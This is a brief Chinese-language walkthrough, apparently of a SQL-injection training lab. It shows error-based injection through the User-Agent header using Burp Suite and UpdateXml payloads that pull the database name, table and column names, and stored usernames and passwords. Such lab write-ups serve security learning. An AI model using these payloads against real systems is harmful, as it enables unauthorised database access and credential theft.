这次username和password都进行了输入校验
但是ip和uagent没有校验
当我们用admin admin登陆成功后，就会一条插入语句
由于程序无条件的信任了浏览器的header信息，那么通过修改http包的header信息构造注入
使用burpsuite进行包拦截/修改
修改user-agent字段，加个单引号
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'
利用UpdateXml函数报错来显示数据
User-Agent: 123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)#
User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#
User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1),1,1)#
User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#
User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#